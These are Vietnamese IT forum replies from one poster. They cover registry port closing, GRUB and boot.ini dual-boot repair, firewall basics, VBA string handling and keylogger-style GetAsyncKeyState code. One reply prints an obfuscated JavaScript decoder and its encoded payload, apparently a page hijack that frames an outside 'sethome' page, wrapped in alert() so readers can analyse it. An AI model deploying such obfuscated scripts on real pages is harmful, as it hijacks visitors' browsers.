|
|
Lovely Ghost wrote:
cám ơn các bạn đã trao đổi ý kiến. Mình cũng biết một số chương trình vd như Internet Lock tại _http://www.toplang.com/ , nó có thế đóng bất cứ cổng nào nếu bạn muốn, cách chuyển đổi rất linh hoạt. Mình chưa biết cách đóng một port bằng Registry nên rất muốn thử. Phiền các bạn cho link hướng dẫn.
Theo
http://slees.net/category/howto/
How to close port 445
Start Registry Editor (Regedit.exe) by clicking Start menu, and then click the Run icon.
In the small box that Opens, type: regedit then click the OK button.
The Registry Editor will now have opened…
Locate the following key in the registry:
HKLM\System\CurrentControlSet\Services\NetBT\Parameters
In the right-hand side of the window find an option called TransportBindName.
Double click that value, and then delete the default value, thus giving it a blank value.
How to close port 135
The you must now navigate to the following registry key:
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE
You will see there is a String Value called: EnableDCOM
Set the value to: N (it should currently be Y)
Kết quả: hu hu., hết giờ nghỉ trưa rồi
|
|
|
huynhfxvn wrote:
các bác cho em hỏi mình lập một sever (lĩnh vực thương mại điện tử)
thì mình nên dùng sever chạy win hay linux thì hơn xin các tiền bối chỉ giáo giúp !
1. Nếu có thời gian thì học sử dụng cả 2 rồi tự quyết
2. Còn không có thời gian thì biết cái nào nhiều dùng cái đó
Hì hì
|
|
|
acsimet.fm wrote:
Sau khi cài thành công , khởi động lần đầu tiên thì thấy GNU Grub Loader hiện lên bình thường để chọn OS mình muốn .
Theo như vậy thì grub đã install lên MRB rồi. Đúng ra bạn nên install grub lên sector đầu tiên của partition thì an toàn hơn (tui cũng không rõ Ubuntu cho làm vậy không ) )
Vào Ubuntu bình thường , rùi thoát ra .
Đến màn hình grub loader lần 2 thì chọn WinXP , sau đó lại thoát ra XP thì khi khời động lại hoàn toàn ko thấy grub loader ... 1 lần nào nữa !! hichic !!
Thế là ko còn vào được Ubuntu nữa !! -))
Vấn để ở đây chỉ là không vào được Ubuntu vì Windows đã boot trước và không thấy ai ngoài nó.
Tui có hướng giải quyết này, chỉ mới nghĩ ra thôi
Cách đi là :
1. install Grub lên partition chứa Ubuntu
2. lấy boot sector của partition chứa Ubuntu cho Windows thấy
Bước 1
Chạy Ubuntu 6.06 trên CD hay bất kì Linux Live CD nào khác
Già sử partition của Ubuntu là hda7 (dùng IDE nhé ) )
Mount partition Ubuntu vô đã
# mkdir /mnt/ubuntu
# mount -vt ext2 /dev/hda7 /mnt/ubuntu
Install grub vào đó
# grub-install --root-directory=/mnt/ubuntu /dev/hda7
Option --root-directory chỉ đến mount point của partition boot và ở đây nó cũng chính là partition chứa Ubuntu của bạn. Vì trong Linux nói chung bạn có thể "chứa" nó trong nhiều partition. VD như /usr, /var, /home đều có thể nằm trên 3 partition khác nhau
Bước 2
Mình sẽ lấy nội dung của boot sector hda7 ra.
Mà trước tiên phải mount C: vào đã
# mkdir /mnt/c
# mount -vt ntfs /dev/hda1 /mnt/c
Rồi, bây giờ lấy boot sector ra
# dd bs=512 count=1 if=/dev/hda7 of=/mnt/c/ubuntu_boot
ubuntu_boot chính là file đại diện cho boot sector đấy
Sau đó dùng bất kì text editor nào như gedit, kwriter (tùy bản Linux Live CD). Mở file /mnt/c/boot.ini
Thêm dòng này vào cuối file
..........
C:\ubuntu_boot="Ubuntu 6.06"
Rồi, khỏi động lại xem. Windows sẽ có thêm tùy chọn "Ubuntu 6.06" và khi Enter vô đó thì grub sẽ chạy
Những thứ này tui chỉ mới suy nghĩ ra thui, nếu sợ thì đừng làm nhé. Hư gì tui không đền cho đâu. Hì hì :lol
|
|
|
0-day wrote:
Mình cài các distro của REDHAT như Fedora Core 5, CentOS thì thấy sau chia partition, set acc root, acc cho grub thì nó hỏi mình có enable firewall hay ko. Mình thấy mắc ko bít firewall đó là firewall gì ? theo mình bít linux chỉ có 1 loại firewall built-in phổ biến nhất là iptables (hồi xưa là ipchains), vậy firewall ở đây nó đề cập có phải là iptables ko ?
Nếu bạn không muốn dùng các rule default của FC thì có thể tự tạo rule cho riêng mình. Tài liệu iptable cũng đã có nhưng nếu cần "mì ăn liền" thì đọc bài này )
http://ddth.net/?article=410b7ff8c0&cat=tute_security
|
|
|
lovemoon wrote:
các anh cho em hỏi co ai biet trang web nao diet virus truc tuyen khong a
tu van cho em voi hoac cac anh nao rong luong thi cho em tai khoan trang web do voi
Làm ơn gõ tiếng Việt dùm
Vào những website sau để scan online, nên vào bằng IE
http://housecall.trendmicro.com/
http://www.bitdefender.com/scan8/ie.html
http://security.symantec.com/
|
|
|
Lovely Ghost wrote:
Bạn nào có kinh nghiệm dùng CMD thì cho mình hỏi cách đóng 1 port trong windows mà không dùng phần mềm nào khác được không ? VD mình muốn chặn port 5050 của Yahoo! Messenger thì làm thế nào.
Cám ơn nhiều
Khi nói chặn port thì tui hiểu là: không cho chương trình listen trên port đó.
VD: khi chặn port 8000 thì nếu có ai bên ngoài connect đến máy bạn trên port 8000 sẽ không thấy do không có ứng dụng nào đang listen để đáp ứng
Nhưng theo như bạn nói thì chặn port nghĩa là không cho chương trình gửi gói tin đến port đã chặn. )
Nếu muốn làm vậy thì theo cách của thangdiablo
|
|
|
Xin mời vào đây
http://vnhacker.org/hvaonline/posts/list/2433.html
conmale wrote:
Em thường mở máy ra và chạy bao lâu rồi tắt? Em có để máy chạy vài ngày hoặc vài tuần mà không tắt chưa?
Nếu em dùng máy vài tiếng rồi tắt và chỉ dùng một số chương trình bình thường thì em sẽ không thấy swap được dùng. Bởi thế, việc em bỏ luôn swap hay không cũng không còn là vấn đề vì máy em chưa đụng đến mức phải dùng swap. Tuy nhiên, nếu em dùng máy liên tục mà không tắt thì sẽ thấy swap quan trọng cỡ nào
|
|
|
format tức là xóa file và thư mục. Vậy trước khi xóa bạn phải đảm bảo rằng hiện thời không có tiến trình (chương trình) nào truy xuất đến file đó. Nếu bạn format nguyên cả D: thì chịu khó xem các chương trình chạy lúc startup, các service xem có cái file nào sẽ chạy lúc khởi động mà nằm tại D: không
|
|
|
Thiết kế CSDL là nghề khó vì nó đòi hỏi phải nằm thật chắc nghiệp vụ của khách hàng và có óc tư duy lẫn toán học tốt. Nó còn có cái tên mỹ miều nhưng trải rộng ra là "hệ thống thông tin".
Nếu bạn đã master thì design 1 cái database, deploy và document lại cấu trúc nó thì bỏ túi vài chục triệu là chuyện thường )
Chúc bạn thành công )
|
|
|
soixamhajime wrote:
Details: To enable the details of this specific error message to be viewable on remote machines, please create a <customErrors> tag within a "web.config" configuration file located in the root directory of the current web application. This <customErrors> tag should then have its "mode" attribute set to "Off".
<!-- Web.Config Configuration File -->
<configuration>
<system.web>
<customErrors mode="Off"/>
</system.web>
</configuration>
Xem phần màu đỏ ý nghĩa là gì vậy :?
Nếu là newbie thì nên học tiếng Anh trước đã, vì không ai đảm bảo bạn sẽ không bao giờ gặp lỗi nữa )
|
|
|
Tui làm lập trình nhưng kiêm luôn BA, Designer và DBA
huhu
|
|
|
Defender wrote:
Em nghĩ, trước tiên khoan nghĩ tới chuyện bảo mật, mà cần tạo 1 CSDL tốt về mặt cấu trúc, sao cho không bị lỗi, tốc độ truy xuất dữ liệu nhanh, và có khả năng mở rộng tốt
Hơi khó hiểu chút :?
"CSDL tốt" hiểu theo nghĩa cấu hình MySQL thì dĩ nhiên là do kinh nghiệm quản trị hay chịu khó đọc manual của MySQL (ít nhiều cũng giải quyết được)
Còn nếu "tốt" về mặt tổ chức dữ liệu, quan hệ table thì rơi vào 2 trường hợp
1. dùng ứng dụng của người khác thì họ đã design sẵn rồi, dù CSDL của họ thiết kế tốt hay không, có trùng lắp dữ liệu nhiều hay ít bạn cũng phải chấp nhận :wink: .
2. tự viết ứng dụng và tự thiết kế database. Quá tốt, tự mình làm thì sẽ an tâm hơn )
Hì, xong chắc bạn chẳng thấy tui trả lời gì cả mà chỉ nói suông thôi .
|
|
|
girlbatcandoi wrote:
thanks bro ,bro cho em hỏi 1 câu chót là có soft nào dịch anh - việt trên linux hông ? và nó tên gì ? (chứ cần dịch gì trên linux mờ tra từ điển thì tội em quá )(
thanks bro lần nữa
Có 2 bộ từ điển đây )
http://www.ifis.uni-luebeck.de/~duc/Dict/install.html
http://xvnkb.sourceforge.net/?menu=vdict&lang=vi
|
|
|
Khởi động DOS và Windows XP trên 1 máy tính
Đó hỏi: Hiện tại tôi đang sử dụng WinXP_SP2, tôi muốn sử dụng thêm MS_DOS. Vậy có cách nào để Windows đưa ra hai lựa chọn: Windows XP hay DOS mỗi khi khởi động máy.
<trungkeua10@>
Đây trả lời: Trước tiên, bạn chép các file khởi động của DOS là Io.sys, Msdos.sys, Command.com, Config.sys, Autoexec.bat... vào ổ cứng C. Sau đó, thêm dòng C:\="DOS" vào file Boot.ini, thí dụ:
[boot loader]
timeout=2
default=multi(0)disk(0)rdisk(0)partition(2)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(2)\WINDOWS="Microsoft WindowsXP" /fastdetect
C:\="DOS"
Sau đó mỗi khi khởi động máy sẽ xuất hiện tùy chọn cho phép bạn khởi động bằng DOS hay WinXP.
Theo như tui nghĩ sẽ không thành công nhưng cứ thử xem sao )
|
|
|
Trong đây có 1 số trick chỉnh sửa registry cho taskbar
http://www.winguides.com/registry/category.php/42/
|
|
|
kamikazeq wrote:
Bạn nói kỹ hơn phần này đi bạn.
Bạn biết tui cắt chuỗi như thế nào không. Tui dùng hàm MID đó (trước đó phải dò khoảng trắng tùm lum, rồi cắt ra) ==> chậm cực kỳ. (
Tức là vầy, giả sử người ta nhập vô là
nguyễn văn a
Sau đó bạn làm sao , dùng hàm nào thì dùng nhưng kết quả là bạn có 1 array với các phần tử là
arr(0)="nguyễn"
arr(1)="văn"
arr(2)="a"
Đấy chính là cắt chuỗi với kí tự cắt là ' ' :wink:
Chắc bạn dùng VBA để thực hiện rồi, tui cũng không rõ VBA xử lý chuỗi mạnh không ? Vì trong thuật toán bạn sẽ cắt chuỗi liên tục nên cần ưu tiên tốc độ
|
|
|
Tại chỗ này
Code:
if (GetAsyncKeyState(i) == -32767)
hơi khó hiểu, vì theo như tài liệu msdn về GetAsyncKeyState thì
The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
....
If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState
Vậy tại sao không viết là
Code:
if ( GetAsyncKeyState(i) & 0x8000 )
cho dễ hiểu ?
(còn vài điều chưa rõ nhưng không bàn ở đây)
|
|
|
keyloger là cái gì mà tải ?
Có 1 câu hỏi cũng tương tự như vậy
Có bác nào làm ơn cho em một cái link để tải chương trình nghe nhạc xem phim Thanks!
|
|
|
Đã test với megaupload, rất ok )
Còn rapidshare không đựoc, hu hu
Nhấn nút thank buicathung
|
|
|
Endless_Hope wrote:
Bạn rút ngắn khoảng cách nhanh thật đấy: chỉ trong 1 câu!
Để ý ghê nhỉ )
@girlbatcandoi: kiếm 1 cái free host php, xong lên http://hotscripts.com kiếm cái script send mail là ok thôi.
Mà nếu rảnh thì tự viết cũng được. Chi cần host đó cho phép send mail (qua chương trình sendmail)
|
|
|
0-day wrote:
Bạn cho mình hỏi rõ thêm là loop device là gì, tại sao ở đây phải attach file đó vào loop device bằng lệnh losetup rồi mới mount mà ko phải là mount thẳng ? Loop device có vai trò như nào ở đây :?
Nếu bạn xem man của mount sẽ thấy thôi :wink:
mount [-lhV]
mount -a [-fFnrsvw] [-t vfstype] [-O optlist]
mount [-fnrsvw] [-o options [,...]] device | dir
mount [-fnrsvw] [-t vfstype] [-o options] device dir
Đầu vào của mount là device file và mount point. Vậy nếu bạn muốn đầu vào là file trên hdd thì phải attach nó vào device file là loop device.
Thật ra dùng tuỳ chọn -o loop sẽ không cần lệnh losetup nữa (mà tui cũng mới biết lệnh này đấy ) )
|
|
|
styleboy wrote:
Em thường bị mất file hal.dll, mà máy em có cài deepfreeze Enterprise, kô biết cái đó có ảnh hưởng gì kô.
Cái này tui cũng bị nhưng hơi khác chút là file đó còn y nguyên :?
Đôi khi, lúc boot máy tui gặp thông báo là không load được ntldr mắc dù nó sờ sờ ra đấy.
Cách giải quyết vô cùng đơn giản, tui vô 98 đổi tên file đó là 1ntldr rồi đổi lại thành ntldr như cũ. Mục đích là để cho cái FAT nó cập nhật lại thôi )
Còn ai không có sẵn OS khác trên máy thì dùng Linux live CD hay hirenboot mà làm
Với trường hợp của bạn, lần sau hãy boot live CD hay hiren kiểm tra xem file đó còn nằm trên máy không nhé, nếu còn thì thử cách của tui :wink:
|
|
|
Bồ làm thế này sẽ hiểu. Tạo 1 file html với nội dung sau
<html><body><script>
alert(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%
3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69
%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%7
3%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%
65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B
%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%
3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%4
3%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%4
1%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%
67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77
%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3
C%2F%73%63%72%69%70%74%3E'));
</script></body></html>
Khi mở file html lên sẽ thấy thông báo hiện ra nội dung 1 của hàm js tên là dF. Theo tui nghĩ hàm đó sẽ giải mã chuỗi tham số mà nó nhận được rồi in ra trang web
Nếu muốn biết hàm dF nhận vô chuỗi gì thì dùng mã html sau
<html><body><script>
alert(unescape('%264Diunm%264F%261E%261B%261E%261B%264Difbe%264F%261E%261B%264Dujumf%264Fiuuq%264B002ljtt/nf/mz%264D0ujumf%264F%261E%261B%264Dnfub%2631obnf%264E%2633HFOFSBUPS%2633%2631dpoufou%264E%2633Njdsptpgu%2631GspouQbhf%26315/1%2633%264F%261E%261B%264Dnfub%2631obnf%264E%2633QsphJe%2633%2631dpoufou%264E%2633GspouQbhf/Fejups/Epdvnfou%2633%264F%261E%261B
%264D0ifbe%264F%261E%261B%261E%261B%264Dgsbnftfu%2631spxt%264E%26331
%263D+%263D36%2633%264F%261E%261B%2631%2631%264Dgsbnf%2631obnf%264
E%2633upq%2633%2631tsd%264E%2633iuuq%264B00ubphjfunbz92/u46/dpn0nfnbz0tfuipnf
3/btq%2633%2631tdspmmjoh%264E%2633op%2633%2631opsftj%7Bf%2631gsbnfcpefs%2
64E%26331%2633%264F%261E%261B%2631%2631%264Dgsbnf%2631obnf%264E%263
3njeemf%2633%2631tsd%264E%2633//0NVTJD0OibdUsf0oibdusf/uyu%2633%264F%261
E%261B%2631%2631%264Dgsbnf%2631obnf%264E%2633cpuupn%2633%2631tsd%264E
%2633cpuupn/iun%2633%2631tdspmmjoh%264E%2633op%2633%2631opsftj%7Bf%2631g
sbnfcpefs%264E%26331%2633%264F%261E%261B%2631%2631%264Dopgsbnft%264F
%261E%261B%2631%2631%264Dcpez%264F%261E%261B%261E%261B%2631%2631
%264Dq%264Fiuuq%264B002ljtt/nf/mz%264D0q%264F%261E%261B%261E%261B%263
1%2631%264D0cpez%264F%261E%261B%2631%2631%264D0opgsbnft%264F%261E%2
61B%264D0gsbnftfu%264F%261E%261B%261E%261B%264D0iunm%264F%261E%261
B1'));
</script></body></html>
|
|
|
Trước mắt thuật toán tui nghĩ sẽ là vầy, và tui cũng chưa thấy nên tối ưu vào điểm nào
Bạn làm các việc sau khi nút được nhấn
1. Với chuỗi trong textbox, ta cắt (split) nó ra thành 1 mảng các chuỗi với kí tự phân cách là khoảng trắng (' '). Mục đích của việc cắt là bạn sẽ có mảng và mỗi phần tử là các từ cần tìm. Tạm gọi mảng này là mảng A
2. Bắt đầu duyệt từng record trong excel. Với mỗi record ta:
* Lấy về chuỗi "họ tên" của record đó
* Cắt chuỗi "họ tên" đó thành các từ (chứa trong mảng). Tạm gọi mảng này là mảng B
* Công việc của bạn giờ là tìm xem mảng B có chứa mảng A hay không. Chỉ cần duyệt từng phần tử của mảng A, với mỗi phần tử mảng A thì so sánh với từng phần tử của mảng B.
Khi kết thúc nếu mảng B chứa mảng A tức ô "họ tên" đó có chứa các từ nằm trong textbox rồi.
Đó là thuật toán của tui, tuy khá đơn giản nhưng tui chưa nghĩ ra điểm nào gây tốn thời gian và tài nguyên cả. Nếu có xin bạn nêu ra để tui thấy được
Thắc mắc mà tui nghĩ bạn sẽ gặp phải có lẽ là so sánh giữa 2 từ xem có bằng nhau không.
|
|
|
ThangCuEm wrote:
Ừ, lung tung luôn, sao giờ lại lòi ra cái .lib. File .lib thì làm sao mà dùng cho C# được, hay quá vậy, hay tui hỗng biết.
Tất nhiên là không dùng được, nhưng mình đi vòng thì sẽ được (mặc dù không dễ dàng). Đó là đi theo cách tui nói: tạo 1 dll C++ .NET và trong đó mình sẽ dùng thư viện lib này. Khi C# add reference dll vào. Nó chỉ thấy các method mình viết và chỉ việc gọi, và bên trong method đó mình sẽ dùng thư viện lib.
Đúng ra tui nói không rõ ràng trong bài đầu. Xin rút kinh nghiệm )
|
|
|
phamanhthi wrote:
Tôi không biết con virus này có giống như con vius các bạn đang nói không, nhưng tôi nghĩ nếu máy có cài Norton thì con virus này cũng không có gì nguy hiểm!
Chắc không đấy :wink:
|
|
|
lonely_Xorhandsome wrote:
còn game thì không biết nó cấm qua port nào nhỉ ???
Chỉnh firewall nhìn vào port của gói tin đi ra, nếu đó không phải port 80 (web), 21/20 (ftp), 443 (https), ... thì drop )
Đó là lý thuyết để ngăn không cho ra, nhưng dùng vậy không hay có vẻ cứng nhắc quá. Lỡ người dùng muốn dùng dịch vụ nào đó chính đáng nhưng port của nó thì firewall không cho cũng phiền
|
|
|
Z0rr0 hiểu sai ý rùi )
Ý mình là vầy
Dùng VC 6.0 viết 1 thư viện tĩnh, tức là kết quả ra sẽ là file abc.lib
Trong thư viện tĩnh đó sẽ implement 2 method
Code:
int AA()
{
...
}
char BB()
{
}
Vấn đề là làm sao cho C# dùng được 2 method này ?
Cảm ơn Z0rr0 nhưng mình đã giải quyết được rồi, thực là hỏi chuối quá đi (
Muốn chuyển sang chuỗi byte thì chỉ việc đọc từng index trong String rồi đưa vào chuỗi byte là xong, huhu
|
|